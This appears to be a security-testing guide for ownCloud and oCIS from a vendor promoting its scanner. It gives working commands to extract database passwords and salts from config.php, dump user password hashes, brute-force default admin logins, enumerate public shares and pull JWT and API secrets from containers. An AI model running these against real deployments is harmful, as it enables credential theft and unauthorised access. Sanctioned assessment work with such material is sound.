ownCloud Security Testing: Default Credentials, API Key, Database, and File Sharing

ownCloud is a self-hosted file sharing platform widely deployed across enterprises, universities, and SMBs — many running legacy versions. Key assessment areas: config/config.php exposes database credentials and a passwordsalt value that enables cracking all stored password hashes; admin credentials set during installation are frequently weak; the WebDAV API may allow unauthenticated access to misconfigured public shares; and the Infinite Scale (oCIS) deployment uses OCIS_JWT_SECRET for service token signing. This guide covers systematic ownCloud security assessment.

Table of Contents

  1. config.php Extraction: Database and passwordsalt
  2. WebDAV API and Public Share Enumeration
  3. ownCloud Infinite Scale (oCIS) Security Assessment
  4. ownCloud Security Hardening

config.php Extraction: Database and passwordsalt

# ownCloud — config/config.php extraction
OC_URL="https://owncloud.example.com"

# /status.php — version disclosure (unauthenticated)
curl -s "${OC_URL}/status.php" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'VersionString: {d.get(\"versionstring\")}')
print(f'Installed: {d.get(\"installed\")}')
" 2>/dev/null
# Cross-reference version against known CVEs

# config/config.php — ownCloud main configuration (CRITICAL)
cat /var/www/owncloud/config/config.php 2>/dev/null
# 'dbpassword' => '...'        <-- MySQL/PostgreSQL database password
# 'dbname' => 'owncloud'       <-- database name
# 'dbhost' => 'localhost'      <-- database host
# 'dbuser' => 'owncloud'       <-- database user
# 'passwordsalt' => '...'      <-- used in password hashing
# 'secret' => '...'            <-- session/CSRF secret

python3 -c "
import re
content = open('/var/www/owncloud/config/config.php').read()
patterns = {
    'dbpassword': r\"'dbpassword'\s*=>\s*'([^']+)'\",
    'passwordsalt': r\"'passwordsalt'\s*=>\s*'([^']+)'\",
    'secret': r\"'secret'\s*=>\s*'([^']+)'\",
    'dbname': r\"'dbname'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# MySQL — extract all user credentials using dbpassword
DB_PASS="extracted-dbpassword"
mysql -u owncloud -p"${DB_PASS}" owncloud 2>/dev/null << 'EOF'
SELECT uid, displayname, password FROM oc_users LIMIT 20;
-- password format: hash: or legacy md5
-- The passwordsalt from config.php is used in hash derivation
EOF

WebDAV API and Public Share Enumeration

# ownCloud WebDAV API and public share enumeration
OC_URL="https://owncloud.example.com"

# WebDAV endpoint — list files as authenticated user
curl -s -X PROPFIND "${OC_URL}/remote.php/dav/files/admin/" \
  -u "admin:password" \
  -H "Depth: 1" 2>/dev/null | grep -oP '[^<]+' | head -20

# OCS API — admin credential brute force
for CRED in "admin:admin" "admin:owncloud" "admin:password" "admin:changeme"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${OC_URL}/ocs/v2.php/apps/files_sharing/api/v1/shares?format=json" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  [ "$STATUS" = "200" ] && echo "  SUCCESS!"
done

# Public share enumeration — publicly accessible shares
# ownCloud public shares use a token-based URL
# Enumerate common share tokens
for TOKEN in $(curl -s "${OC_URL}/ocs/v2.php/apps/files_sharing/api/v1/shares?shareType=3" \
  -u "admin:password" -H "OCS-APIREQUEST: true" 2>/dev/null | \
  grep -oP '[^<]+' | sed 's/<[^>]*>//g'); do
  echo "Public share token: $TOKEN"
  echo "  URL: ${OC_URL}/index.php/s/${TOKEN}"
  curl -s -o /dev/null -w "%{http_code}" "${OC_URL}/index.php/s/${TOKEN}" 2>/dev/null
done

# owncloud.log — information disclosure
tail -20 /var/www/owncloud/data/owncloud.log 2>/dev/null | python3 -c "
import json,sys
for line in sys.stdin:
    try:
        d=json.loads(line.strip())
        if d.get('level',0) >= 2:
            print(f'[{d.get(\"level\")}] {d.get(\"message\",\"\")[:120]}')
    except: pass
" 2>/dev/null
# Log may contain file paths, usernames, error messages, and SQL queries

ownCloud Infinite Scale (oCIS) Security Assessment

# ownCloud Infinite Scale (oCIS) security assessment

# oCIS — modern Go-based rewrite of ownCloud
# Docker environment — critical secrets
docker inspect ocis 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['OCIS_JWT_SECRET', 'OCIS_MACHINE_AUTH_API_KEY',
                                 'IDM_ADMIN_PASSWORD', 'IDP_SIGNING_PRIVATE_KEY',
                                 'GRAPH_APPLICATION_ID']):
            print(e)
" 2>/dev/null
# OCIS_JWT_SECRET — used to sign all inter-service tokens
# OCIS_MACHINE_AUTH_API_KEY — machine-to-machine API key
# IDM_ADMIN_PASSWORD — built-in identity management admin password
# IDP_SIGNING_PRIVATE_KEY — OpenID Connect token signing key

# oCIS API — list all users with admin credentials
OCIS_URL="https://ocis.example.com"
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "${OCIS_URL}/auth/realms/master/protocol/openid-connect/token" \
  -d "grant_type=password&client_id=xray&username=admin&password=admin" 2>/dev/null | \
  python3 -c "import json,sys; print(json.load(sys.stdin).get('access_token',''))")

# List all users via Graph API
curl -s "${OCIS_URL}/graph/v1.0/users" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d.get('value',[])[:10]:
    print(f'  {u.get(\"displayName\")} - {u.get(\"mail\")} - {u.get(\"id\")}')
" 2>/dev/null

# oCIS config file
cat /etc/ocis/ocis.env 2>/dev/null | grep -E "SECRET|KEY|PASSWORD|TOKEN" | head -10

ownCloud Security Hardening

ownCloud Security Hardening Checklist:
Security TestMethodRisk
config.php dbpassword and passwordsalt extractionRead config/config.php — dbpassword for full database access; passwordsalt enables cracking all oc_users password hashes simultaneouslyCritical
CVE-2023-49103: phpinfo via GraphAPI (CVSS 10.0)GET /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php — exposes all PHP environment variables including admin credentials and cloud provider secretsCritical
Admin credential brute force (admin/admin, admin/owncloud)OCS API or WebDAV /remote.php/dav/ with basic auth — full administrative access including all user files and settingsHigh
Public share token enumerationOCS API /ocs/v2.php/apps/files_sharing — all public share tokens; access shared files without authentication; enumerate sensitive content in public sharesMedium
OCIS_JWT_SECRET extraction for service token forgeryDocker inspect or /etc/ocis/ocis.env — oCIS JWT secret enables forging service-to-service authentication tokens with arbitrary claimsCritical

Automate ownCloud Security Testing

Ironimo tests ownCloud deployments for config.php dbpassword and passwordsalt extraction, CVE-2023-49103 GraphAPI phpinfo exposure (CVSS 10.0), admin credential testing via OCS API and WebDAV, public share token enumeration, owncloud.log information disclosure, oCIS OCIS_JWT_SECRET and service secret extraction, WebDAV unauthenticated share access, /status.php version disclosure and CVE mapping, MySQL oc_users password hash extraction, and /data/ directory web-accessible configuration assessment.

Start free scan